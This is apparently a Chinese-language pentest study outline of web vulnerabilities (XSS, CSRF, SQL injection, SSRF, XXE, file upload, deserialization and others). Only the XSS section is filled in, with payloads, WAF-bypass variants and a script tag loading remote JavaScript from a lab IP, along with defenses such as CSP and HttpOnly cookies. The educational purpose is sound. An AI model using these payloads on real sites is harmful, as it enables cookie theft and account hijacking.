常见Web漏洞
BAJIXSS
Javascript
简介



浏览器限制Javascript的策略
同源策略
一个网站的资源只有该来自网站的代码才能进行访问
同源条件:
相同协议
相同域名
相同端口号
CSP
Content-Seecurity-Policy元标记允许您定义资源的加载位置,防止浏览器从任何其他位置加载数据,从哪儿降低XSS次攻击的风险,使得攻击这更难将恶意代码注入到网站
dufault-src
script-src
style-src
实现跨源访问
嵌入远程资源<img>,<script src=><iframe>
利用ajax进行表单发送(但是无法读取回应信息)和网页跳转
<script>
//向服务器请求信息
ajax = new XMLHttpRequest()
ajax.open("GET","http://10.0.2.5:8000/hello.txt",true)
ajax.send()
ajax.reponse
</script>
XSS被称为跨站脚本攻击,由于和CSS重名 改为XSS
主要利用javascript,它可以非常灵活操作html、css和浏览器
xss上浏览器渲染到网页代码中含有用户控制到输入,用户输入没有被过滤,将恶意javascrpt代码注入到网页中,达到攻击效果
!:在生产环境中测试,使用扫描器到情况下,要注意提交到服务到表单插入xss payload,可能会造成dirty data的产生,会对其他用户造成影响,测试前应与系统侧沟通,按照测试规范进行测试
XSS危害
盗取各种用户账号
窃取用户Cookie 冒充用户身份进入网站
劫持用户Session,执行操作
刷流量,执行弹窗广告
传播蠕虫病毒
·····
XSS类别
反射型XSS
payload经服务器响应到前段页面,浏览器解析XSSpayload,触发XSS漏洞
常见位置
搜索框,用户登录
特点
非持久性,参数跨站脚本
利用
窃取用户Cookie或进行钓鱼诈骗

存储型XSS
payload请求至服务端,服务端保存XSSpayload,响应到公共前段界面
常见位置
留言板,评论,博客日志,文件上传
特点
持久性跨站脚本,更具威胁
利用
渗透网站,挂马,蠕虫病毒,钓鱼
DOM型XSS
XSSpayload不经后端服务端,经前端js直接操作DOM注入XSSpayload
常见位置
翻译输入框
特点
非持久化
利用
重定向
类型区别

测试方法
查看用户到输入如何存在于源代码中
如果输入不在HTML标签中,可以尝试如下payload

<script>alert(window.origin)</script>遇到iframe,该方式可以检测出代码实际运行位置
<script>console.log(window.origin)</script>针对存储型XSS
<img src=x oneroor=alert('XSS');>或<svg onload=alert(1)>
<script src="http://10.0.2.5:8080/name.js"></script>如无回显
<plaintext>标签内到所有内容 按照HTML源代码方式显示
{{7*7}}检测是否漏洞为SSTI
用户输入在HTML标签中
尝试跳出标签
"><script>alert(1)</script>
无法跳出标签,尝试跳出属性
"onerrot="alert(1)
当前标签无可运行Javascript属性
"accesskey="x onclick="alert(1)" x="
无法跳出当前属性,则在当前属性尝试插入JavaScript代码
<a =href="javaScript:alert(1)">
用户输入在JavaScript中

尝试跳出Script标签
</script><script>alert(1)</script>
跳出当前字符
'-alert(1)-'
';alert(1)//
自动化工具
Nessus
Burp suite Scanner
XSStrike
Easy XSS
代码审计
前端代码
后端代码(如有权限)
XSS黑名单绕过
需要绕过WAF和黑名单来检测XSS
可以使用的技巧
变化大小写
<sCRipT>alert("xss")</sCRipT>
绕过""
<script>alert('xss')</script>
<script>alert(/xss/.source)</script>
<script>alert(String.fromCharCode(120,115,115))</script>
<script>eval(8680349..toString(30))(43804..toString(36))</script>
绕过空格
<script/**/src="http://10.0.2.5:8080/my.js"></script>
绕过()
<script>alert1</script>
<script>eval.call${‘alertx2821x29’}</script>
绕过
<script x>alert('XSS')</script>
<img src= x onerror=alert('XSS');>
<svg src=x onload="alert(1)">
<iframe src =x onload="alert(1)">
XSS防御
用户输入的过滤应前后端共同实现
前端
使用javascript正则表达式验证用户输入
使用DOMPurify库去除特殊的HTML字符,过滤的字符可以安全写入DOM
<script src="purify.min.js"></script>
后端
使用正则过滤用户输入
对输出内容进行转码
htmlentities($_GET['username|'])

一些服务器端的配置也可以帮助防御XSS
设置http-only和Secure cookie
通过php.ini进行设置
session.cookie_secure = 1
session.cookie_httponly = 1
创建Cookie时进行设置
setcookie("PHPSESSID",session_id(),time()+3600,"/"www.pentest.com",1,1);
设置Content-Security-Policy HTTP头文件
限制加载资源路径
JavaScript
Image
CSS sytle Sheet
header("Content-Security-Policy:script-src 'self' www.google-analytics.com ajax.googleapis.com; ");
在Apache服务器中设置
Header set Content-Security-Policy 'script-src 'self' 'nonce-rAnd0m';"
设置X-Content-Type-Options=nosniff HTTP头文件
禁用来浏览器自行检测MIME类型
在Apache服务器中设置
Header set X-Content-Type-Options "nosniff"
设置WAFs,可以参考开源的WAF中防护规则,本地WAF,云WAF根据实际情况进行选择,对于JAVA应用也可以参考rasp相关
CSRF
跨站请求伪造(Cross-site request forgery) 也叫one-click attack或者session riding,缩写CSRF或XSRF,挟制用户在当前已登录的WEB应用程序上执行非本意的操作的攻击方法,跟XSS相比,XSS利用的用户对网站的信任,CSRF则是网站对用户网页浏览器的信任
该攻击的目的是在用户无意识的情况下,使用户在指定网站(带有CSRF漏洞)上发起请求
限制条件
请求上post形式,只能发送content-type为application/x-www-form-yrlencoded的请求,没法发送content-type为application/json的
攻击前置条件
用户和指定网站(有CSRF漏洞)已建立session
Session鉴别方式只有Cookie信息(cookie由浏览器自动发送)
可以确定请求中所需要的全部参数
测试方法
手工测试

工具测试



发起CSRF攻击
攻击者骗取用户访问下面的网站

token攻防
在网页中隐藏一个随机生成的token
使用程序框架中自带的函数来生成该token
token可以使基于session或是当前请求
Token必须不可预测





应用只查看token存在与http请求之中
comment=123&scrf=
应用只查看token存在并且不为空(或合法长度)
comment=123&csrf=faketoken
应用通过一个tokne池检查token合法性
comment=123&csrf=Token0fmyAccount
对于HTTP请求的处理方式不一致
将POST改为GET请求(不包含token信息)
防御手段
检测HTTP referer请求头
在执行敏感操作前,检测是否跨站请求
erferer请求头并不总会发送
<meta name="referer" content="no-referer">
该检测方式应该当做额外防御手段
启用网站cookie
cookie只能在同站访问中发送
在Apache中设置
Header edit Set-Cookie ^(.*)$;SameSite=Strict
双重提交


SQL注入
漏洞原理

SQL注入出现的位置

SQL注入分类
根据数据传输方式
GET类
POST类
COOKIE类
根据数据的类型
数字型
字符型
根据注入模式
基于联合查询的注入
基于报错的注入
基于布尔的盲注
基于时间的盲注
堆叠查询的注入
SQL注入的流程
1、求闭合字符
2、选择注入模式
3、爆数据库
4、爆表名
5、爆列名
6、爆字段
闭合SQL语句
跳出用户的输入
'---select * from users where username='alice' malicious code'
''---select * from users where username=''alice'' malicious code''
)--- select * from users where (username='alice' malicious code)' and uid=1) or (..snip..)
处理未配对的引号
注入引号使之配对
alice' and '1' ='1
将其注释
#
-- -
注入方式

选择SQL的注入方式取决于应用程序的工作方式
有回显的SQL注入
能看到SQL语句运行的结果
报错型注入
联合型注入
盲注
无法直接看到sql语句运行结果
布尔型注入
时间型注入
完全没有任何回显
1、情况少见
2、思路同无回显注入
3、使数据库向我们控制的DNS或Web服务器发起请求(oob)
4、时间盲注
报错注入
一般步骤
1、求闭合字符
2、爆数据库名
3、爆表明
4、爆列名
5、爆字段






联合注入






获取数据库名

获取表名

获取列名

读文件





写文件


boolean盲注





时间盲注







oob盲注

二阶注入


sql注入工具
sqlmap
Pangolin(穿山甲)
啊D
Havij(胡萝卜)
防御手段
预编译


局限性




绕过防御手段





安全生产

SQLMAP

运行流程

工作原理









安装



常用选项








使用







payload变型

sqlmap tamper

sqlmap负载查看

sqlmap issues

SSRF
发生的原因

协议


测试流程
1、根据请求中的参数确定疑似存在ssrf风险功能点,例如url=,remoteUrl=,{'remoteUrl':'http://xxxx'}等,也可粗略判定是否可回显,无回显可借助dnslog或通过时间比较来判断
2、如果可出网,则可证明ssrf存在
3、协议探测
4、服务端口探测
5、漏洞利用
回显SSRF



扫描探测


无回显SSRF




防御及绕过


防御

XXE
xml简介

XML DTD介绍


内部&外部DTD

内部&外部xml实体
参数xml实体

xxe简介


xxe测试流程
1、查找请求格式为XML格式请求数据包
2、进行探测是否可读取本地文件 判定是否回显
3、添加外部dnslog服务器为恶意DTD主机,是否产生请求日志,判定是否可已用外部DTD
4、利用XXE漏洞,借助dnslog服务器可外带数据
XXE演示


xxe读取本地文件

xxe利用
读取文件


外部DTD

报错型XXE






盲XXE





文件上传处XXE

数据类型转换

通过Xinclude发动XXE攻击


XXE SSRF

XXE DOS


防御手段

任意文件上传
隐患

演示



前端验证方式


前端验证方式绕过



后端验证方式

扩展名验证



白名单绕过

黑名单绕过



Content-Type绕过


MIME检测
MIME检测绕过

改写服务器配置

目录穿越


从代码层面防护



从服务器端防护

注意事项

Webshell管理工具

大马
小马

一句话木马

内存马

中国菜刀

中国蚁剑

冰蝎

哥斯拉

文件包含
介绍







安全隐患

图片马的制作

文件包含示例

绕过文件包含限制

PHP://filter

绕过文件包含限制

文件包含到代码执行

利用宽松权限配置





其他可以尝试的文件

利用PHP配置







远程文件包含



带有限制的远程文件包含


PHP Session文件




审计危险函数

防御手段


任意文件下载/读取
安全隐患

发生原因

测试方法




修复方式

命令注入
发生原因


命令注入方式


演示

黑名单字符

审计高危函数

服务器端配置

代码层面防护




反序列化
PHP反序列化基础







PHP反序列化漏洞

PHP反序列化原理



反序列化利用

POP链构造

Demo

反序列化赋值

反序列化存在的隐患

测试方法

fastjson反序列化



shiro反序列化


weblogic反序列化(CVE-2020-2551)

反序列化修复方案

业务逻辑

用户名枚举

修复建议

用户密码枚举

修复建议

平行越权

修复建议

垂直越权

修复建议

数据包重放

修复建议
验证码缺陷

修复建议

未授权访问

API接口未授权访问

修复建议

SwaggerUI 未授权访问

修复建议


Druid未授权访问

修复建议

SpringBoot Actuator未授权访问

修复建议

Redis未授权访问

修复建议

Elasticsearch未授权访问

修复建议

信息泄露

内网IP泄露

修复建议

绝对路径泄露

修复建议
SQL语句泄露
修复建议

源码泄露
修复建议

敏感信息未脱敏
修复建议

中间件配置缺陷
列目录

主动测试

被动测试




修复建议


CORS




测试



漏洞点
携带Cookie



测试工具

修复建议

框架漏洞

thinkphp



Spring

Weblogic


Jboss


Struts2

修复建议
CMS漏洞
dedecms


Discuz



jeecg


指纹识别

指纹识别方式

修复建议

更新: 2025-04-17 13:59:16
原文: https://www.yuque.com/yuhui.net/network/lir1x23ugncvb0rt













防御及绕过


XML DTD介绍
参数xml实体
读取文件
外部DTD
报错型XXE




盲XXE












反序列化利用






漏洞点




















评论(0)
暂无评论